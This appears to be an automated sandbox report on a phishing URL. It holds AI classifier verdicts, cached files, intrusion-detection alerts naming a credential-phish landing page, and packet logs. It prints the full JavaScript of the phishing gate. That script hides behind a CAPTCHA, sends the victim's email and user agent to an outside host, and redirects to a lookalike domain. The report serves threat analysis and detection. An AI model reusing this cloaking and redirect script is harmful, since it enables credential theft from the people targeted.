URL: https://www.google.com.tr Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false, "reasoning": "This is a legitimate Google domain for Turkey (.tr TLD). Google operates official domains in many countries with their respective country code TLDs." }
URL: https://www.google.com.tr
URL: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates a mix of behaviors, including the use of a CAPTCHA system, encryption of user agent data, and a request to an external domain. While the CAPTCHA system and encryption suggest security measures, the use of an obfuscated URL and the lack of transparency around the external domain raise some concerns. Further review may be necessary to determine the full intent and potential risks of this script." }
var verifyCallback_CF = function (response) { if (response && response.length > 10) { sendRequest(); // Only send the request after CAPTCHA is solved } }; window.onloadTurnstileCallback = function () { turnstile.render("#turnstileCaptcha", { sitekey: "0x4AAAAAAA45hULO7kC3Oxuo", callback: verifyCallback_CF, }); }; function hh2(encryptedText, shift) { let decryptedText = ""; for (let i = 0; i < encryptedText.length; i++) { let c = encryptedText[i]; if (c.match(/[a-z]/i)) { let code = encryptedText.charCodeAt(i); if ((code >= 65) && (code <= 90)) { c = String.fromCharCode(((code - 65 - shift + 26) % 26) + 65); } else if ((code >= 97) && (code <= 122)) { c = String.fromCharCode(((code - 97 - shift + 26) % 26) + 97); } } decryptedText += c; } return decryptedText; } function Encrypt(text, publicKey) { console.log('encrypt with public key:', publicKey); return text; } let sx = "https://sascl.com/?vtmmhzio&qrc=alison.smith@rbsint.com"; const PUBLIC_KEY = `-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCJBwcY8t0AqPquU+Ah1 R0EPWlcD5XSXhOEe00844TkiGLFHnMWQEugh0zYh/kgrw8hv1ifOmf4Jrkis3tlW qpIO2U9Nle23D1VKpxZSxRyYTbnoyq3lRcqY5txOJKdviR9fA9wPidS6KTXhX2xq wq1jjYvgHtntEGYwK6Lzm6Q8jTjfV7ICqnV74GTKnPN7VMDKsS2+Dcf2Y2IoYY1o NM7nWPKFeVUmkqFMowkdBmGJHL4UqRcxbhiRX3AAzzdQvbQg7OQxYjbKak23IvDN 1ia9SsXQyo5H/XnfXB2Nb9sNayO5sV+hDmBRlujtm1+maqGMJUXZeVHL81Q7O22a WQIDAQAB -----END PUBLIC KEY-----`; function sendRequest() { const userAgent = navigator.userAgent; const EncryptedUserAgent = Encrypt(userAgent, PUBLIC_KEY); console.log('Sending request with encrypted user-agent:', EncryptedUserAgent); let xhr = new XMLHttpRequest(); xhr.open('GET', sx, true); xhr.setRequestHeader("accept", "application/json"); xhr.setRequestHeader("qrc-auth", EncryptedUserAgent); xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { if (xhr.status === 200) { const cc = JSON.parse(xhr.responseText); if (cc.url) { window.location = cc.url; } else { document.body.innerHTML = cc.error ? cc.error : 'ACCESS DENIED'; } } else { document.body.innerHTML = 'CONNECTION TO HOST FAILED'; } } }; xhr.send(); }
URL: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please stand by, while we are checking if the site connection is secure\nWe need to review the security of your connection before proceeding.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	371
Entropy (8bit):	5.8101355255506855
Encrypted:	false
SSDEEP:	6:YQxjVBpJ3pSFr4g70x1U/VPq1sYQ99q5y2nNJGAJI3/r2sgJAHo/aRAtaKrtuixy:YIjVBpvy/ty1sYQCy2NJGFis2amtgH
MD5:	ED99D78ACFCA86EF51F31C544CC3A3AC
SHA1:	D24767066C0BB8641F1431818CBB8F9369ED0C98
SHA-256:	B6CC85BB7FAA9AD128A8989A49484FF4E128AB05EA3D12D08675E498E771DA31
SHA-512:	DE1168C964A9168695DC4D989C070B2F0C370104DD715537A7A6901B73B7DD8765E1415CD2677854ECE78FC4FE5D86A11B006FDD17905F9514BE37934CB45346
Malicious:	false
Reputation:	low
URL:	https://sascl.com/?vtmmhzio&qrc=alison.smith@rbsint.com
Preview:	{"url":"https://havwthornscountryclub.com/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2hhdnd0aG9ybnNjb3VudHJ5Y2x1Yi5jb20vIiwiZG9tYWluIjoiaGF2d3Rob3Juc2NvdW50cnljbHViLmNvbSIsImtleSI6InlOQUNyY2swN2FBNSIsInFyYyI6ImFsaXNvbi5zbWl0aEByYnNpbnQuY29tIiwiaWF0IjoxNzM2OTY4MDk3LCJleHAiOjE3MzY5NjgyMTd9.23Kl47oZsQyMVfIf1_skE87GlqvNy9IDhKaSR7lwJYc","frame":true}

Chrome Cache Entry: 49

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1899)
Category:	dropped
Size (bytes):	5739
Entropy (8bit):	5.367043254037942
Encrypted:	false
SSDEEP:	96:ftGyE+40W/0PeyMa+4SlpRsWYyXA6yV/iXanFISch+rsqst7W:fcyE+40W/0GyMa+4SDRsWYyXdyTpbrs6
MD5:	946A96D7E4DF57ED1FFDB36DC228279B
SHA1:	C521C2B8E75729FD59E77E38BEBBC4321D6B9150
SHA-256:	B8A17579C348D4E50F9B97CE8ACCB5EC0ED049AF6F4FB75BF3A14019507512B0
SHA-512:	B064D6E0D1E48CFDBF3839BE2AB18EEFBD7C4228B471501AFD44A24E5F5D3B2347C7280EA7D34A8B57163B76595EA37E5C095CE14EBB304E3550BB860B25CE7F
Malicious:	false
Reputation:	low
Preview:	<!doctype html>.<html lang="en-US">.<head> . <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> . <title>Just a moment...</title> . <meta content="width=device-width,initial-scale=1" name="viewport"> . <script>. var verifyCallback_CF = function (response) {. if (response && response.length > 10) {. sendRequest(); // Only send the request after CAPTCHA is solved. }. };.. window.onloadTurnstileCallback = function () {. turnstile.render("#turnstileCaptcha", {. sitekey: "0x4AAAAAAA45hULO7kC3Oxuo", . callback: verifyCallback_CF,. });. };.. function hh2(encryptedText, shift) {. let decryptedText = "";. for (let i = 0; i < encryptedText.length; i++) {. let c = encryptedText[i];. if (c.match(/[a-z]/i)) {. let code = encryptedText.charCodeAt(i);. if ((code >= 65) && (code <= 90)) {. c = String.fromCharCode(((code -

Chrome Cache Entry: 50

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1899)
Category:	downloaded
Size (bytes):	5739
Entropy (8bit):	5.367043254037942
Encrypted:	false
SSDEEP:	96:ftGyE+40W/0PeyMa+4SlpRsWYyXA6yV/iXanFISch+rsqst7W:fcyE+40W/0GyMa+4SDRsWYyXdyTpbrs6
MD5:	946A96D7E4DF57ED1FFDB36DC228279B
SHA1:	C521C2B8E75729FD59E77E38BEBBC4321D6B9150
SHA-256:	B8A17579C348D4E50F9B97CE8ACCB5EC0ED049AF6F4FB75BF3A14019507512B0
SHA-512:	B064D6E0D1E48CFDBF3839BE2AB18EEFBD7C4228B471501AFD44A24E5F5D3B2347C7280EA7D34A8B57163B76595EA37E5C095CE14EBB304E3550BB860B25CE7F
Malicious:	false
Reputation:	low
URL:	https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/favicon.ico
Preview:	<!doctype html>.<html lang="en-US">.<head> . <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> . <title>Just a moment...</title> . <meta content="width=device-width,initial-scale=1" name="viewport"> . <script>. var verifyCallback_CF = function (response) {. if (response && response.length > 10) {. sendRequest(); // Only send the request after CAPTCHA is solved. }. };.. window.onloadTurnstileCallback = function () {. turnstile.render("#turnstileCaptcha", {. sitekey: "0x4AAAAAAA45hULO7kC3Oxuo", . callback: verifyCallback_CF,. });. };.. function hh2(encryptedText, shift) {. let decryptedText = "";. for (let i = 0; i < encryptedText.length; i++) {. let c = encryptedText[i];. if (c.match(/[a-z]/i)) {. let code = encryptedText.charCodeAt(i);. if ((code >= 65) && (code <= 90)) {. c = String.fromCharCode(((code -

Chrome Cache Entry: 51

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 52

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1899)
Category:	downloaded
Size (bytes):	5767
Entropy (8bit):	5.36818640533166
Encrypted:	false
SSDEEP:	96:ftGyE+40W/0PeyMaj4SlpRsWYyXA6yV/iXanFISch+rsqst7W:fcyE+40W/0GyMaj4SDRsWYyXdyTpbrs6
MD5:	7ABBC0F8BF85A7018FED3EFEDE223392
SHA1:	F6E2B4B216DEA7A1D7F6DF85A2607AFF66EF80FF
SHA-256:	27440F207CC5D3177D395ADD47C84D654F134C732781E1E934FFBC7FE6A493CE
SHA-512:	C623CCF18D41D75B421C529974E4C078F774EAF6D1036563DA0D4617B15ADA295DBC353CD705004A6B576FAD7B4CE4F6C00BE7146A5B2F807C697D40A5273D0A
Malicious:	false
Reputation:	low
URL:	https://c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev/?email=alison.smith@rbsint.com
Preview:	<!doctype html>.<html lang="en-US">.<head> . <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> . <title>Just a moment...</title> . <meta content="width=device-width,initial-scale=1" name="viewport"> . <script>. var verifyCallback_CF = function (response) {. if (response && response.length > 10) {. sendRequest(); // Only send the request after CAPTCHA is solved. }. };.. window.onloadTurnstileCallback = function () {. turnstile.render("#turnstileCaptcha", {. sitekey: "0x4AAAAAAA45hULO7kC3Oxuo", . callback: verifyCallback_CF,. });. };.. function hh2(encryptedText, shift) {. let decryptedText = "";. for (let i = 0; i < encryptedText.length; i++) {. let c = encryptedText[i];. if (c.match(/[a-z]/i)) {. let code = encryptedText.charCodeAt(i);. if ((code >= 65) && (code <= 90)) {. c = String.fromCharCode(((code -

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 1249
Category:	downloaded
Size (bytes):	711
Entropy (8bit):	7.6978975119068265
Encrypted:	false
SSDEEP:	12:XqFm2VObdRrSuTN2jgXnZo/sR7hc/HX5cSYDJO9VUAoKy6QASz1ozTNRYHJu:X+m2VC5ScA8JIsR2X55NVUAoKQAlzTGw
MD5:	046AC5043B606BEA91F54ABE92149E3B
SHA1:	FBAA978DB1DD8012698F71ABAD4FF9A2CA71BADD
SHA-256:	26416C685F276E880BC924272D2C97A72499E28B7ADCFD0C477F933FCFA0614F
SHA-512:	67BB43EE494E57A883F79906980CDDAB844EAE8CA1B30921E87EBA611BDD1C8CA79C061C4D3BFC2FFC050C7BC40C747626332402CCEA04F2F2FDE5B0348AE035
Malicious:	false
Reputation:	low
URL:	http://sasaol.com/favicon.ico
Preview:	..........eTkk.0..^...M...'v.a;fc.6.[.....u...')....].I....\|ut.9W.?..t.........p~.p1.(..gI...._.8}Z..4k)`-q...GP..Q..h#....kYc... ......`.18a..........t/....8....W....Y1..R..E..\v......2.p...qf...w....6@.!.E....d.....t.,....C....H.4....Y.7.b...)H.n;....>ZJm..P...QvL...M.'.....\4M...\.P.......a.J.....[.1%.:..L@.C.\|.>&..."..%...dg..bt.g..c..t.\.]..9....B$....@.%r..f..UR..0..l...(N..2)....=.... l..M.h<.........Y.:t...y.T.+..,....Z.F....9.F{^L;......}".h.8.gY..>...q..2...h........k.k...^.O.....$Nh.u...B.+c9.>.(..:...+v...6I.W....`.l2...x....cxz..+:..}_..-ohW.vT...$d.....m.4.......7.../.k....D.a-4._Jt.].. ..%.6.$...Y.vL.i>.F..j.3.....b..C{....~......p..../...+.a....

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 10 x 89, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPlHmt/fCl8kxl/k4E08up:6v/lhPctiik7Tp
MD5:	40893812D1011005489B802306862ECF
SHA1:	C0B18949B5E6FC061E819EA8C7D1877D1EE41E22
SHA-256:	6CED035CB027506C30FE5CB5EAC131AD1EB4D219A67AE8C91DED146C8828EA1A
SHA-512:	C113F5F3A4859B03C2EDB87FD5A6F52F2DFAF51BDC498A761D4D4693F6BBDEF60220DE08C4F5D86683CEBB5ED99010040E15455C7EA81B36D489F7D9452B1F91
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/90282705888e4357/1736968087128/Yc_l5egEkZbT5eF
Preview:	.PNG........IHDR.......Y......J".....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 10 x 89, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPlHmt/fCl8kxl/k4E08up:6v/lhPctiik7Tp
MD5:	40893812D1011005489B802306862ECF
SHA1:	C0B18949B5E6FC061E819EA8C7D1877D1EE41E22
SHA-256:	6CED035CB027506C30FE5CB5EAC131AD1EB4D219A67AE8C91DED146C8828EA1A
SHA-512:	C113F5F3A4859B03C2EDB87FD5A6F52F2DFAF51BDC498A761D4D4693F6BBDEF60220DE08C4F5D86683CEBB5ED99010040E15455C7EA81B36D489F7D9452B1F91
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......Y......J".....IDAT.....$.....IEND.B`.

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T20:08:03.171366+0100	2057301	ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07	1	172.67.196.214	443	192.168.2.4	49746	TCP
2025-01-15T20:08:06.585347+0100	2057301	ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07	1	172.67.196.214	443	192.168.2.4	49747	TCP
2025-01-15T20:08:07.308106+0100	2057301	ET PHISHING Generic Credential Phish Landing Page with Explicit Cloudflare Turnstile Rendering 2024-11-07	1	104.21.92.176	443	192.168.2.4	49758	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 20:07:53.385524988 CET	49675	443	192.168.2.4	173.222.162.32
Jan 15, 2025 20:07:57.864553928 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:07:57.864600897 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:07:57.864660025 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:07:57.865003109 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:07:57.865017891 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:07:58.528392076 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:07:58.528796911 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:07:58.528841019 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:07:58.530294895 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:07:58.530381918 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:07:58.531687021 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:07:58.531774044 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:07:58.586972952 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:07:58.586997032 CET	443	49738	142.250.184.196	192.168.2.4
Jan 15, 2025 20:07:58.633795023 CET	49738	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:07:59.654311895 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:07:59.654417992 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:07:59.654431105 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:07:59.654468060 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:07:59.654495955 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:07:59.654527903 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:07:59.654990911 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:07:59.655004025 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:07:59.655370951 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:07:59.655411005 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.306934118 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.307272911 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.307346106 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.308898926 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.308978081 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.309312105 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.313414097 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.313451052 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.313652039 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.313808918 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.313952923 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.313972950 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.314557076 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.314642906 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.315464973 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.315551043 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.354227066 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.370274067 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.370302916 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.418184042 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.588397026 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.588525057 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.588629961 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.589354992 CET	49740	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.589379072 CET	443	49740	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:00.591459990 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:00.635370970 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:01.365675926 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:01.365772009 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:01.365849972 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:01.367503881 CET	49741	443	192.168.2.4	142.250.185.131
Jan 15, 2025 20:08:01.367532015 CET	443	49741	142.250.185.131	192.168.2.4
Jan 15, 2025 20:08:01.390917063 CET	49743	80	192.168.2.4	15.156.40.19
Jan 15, 2025 20:08:01.397419930 CET	80	49743	15.156.40.19	192.168.2.4
Jan 15, 2025 20:08:01.397506952 CET	49743	80	192.168.2.4	15.156.40.19
Jan 15, 2025 20:08:01.397965908 CET	49743	80	192.168.2.4	15.156.40.19
Jan 15, 2025 20:08:01.402755022 CET	80	49743	15.156.40.19	192.168.2.4
Jan 15, 2025 20:08:01.879061937 CET	80	49743	15.156.40.19	192.168.2.4
Jan 15, 2025 20:08:01.924482107 CET	49743	80	192.168.2.4	15.156.40.19
Jan 15, 2025 20:08:01.963288069 CET	49743	80	192.168.2.4	15.156.40.19
Jan 15, 2025 20:08:01.969353914 CET	80	49743	15.156.40.19	192.168.2.4
Jan 15, 2025 20:08:01.976223946 CET	49744	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:01.976283073 CET	443	49744	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:01.976385117 CET	49744	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:01.976619005 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:01.976664066 CET	443	49745	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:01.976939917 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:01.977031946 CET	49744	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:01.977047920 CET	443	49744	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:01.977305889 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:01.977320910 CET	443	49745	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.076280117 CET	80	49743	15.156.40.19	192.168.2.4
Jan 15, 2025 20:08:02.120909929 CET	49743	80	192.168.2.4	15.156.40.19
Jan 15, 2025 20:08:02.454077005 CET	443	49744	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.454360008 CET	49744	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.454396009 CET	443	49744	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.455207109 CET	443	49745	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.455487967 CET	49745	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.455518961 CET	443	49745	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.455923080 CET	443	49744	172.67.196.214	192.168.2.4
Jan 15, 2025 20:08:02.455996037 CET	49744	443	192.168.2.4	172.67.196.214
Jan 15, 2025 20:08:02.457741976 CET	49744	443	192.168.2.4	172.67.196.214
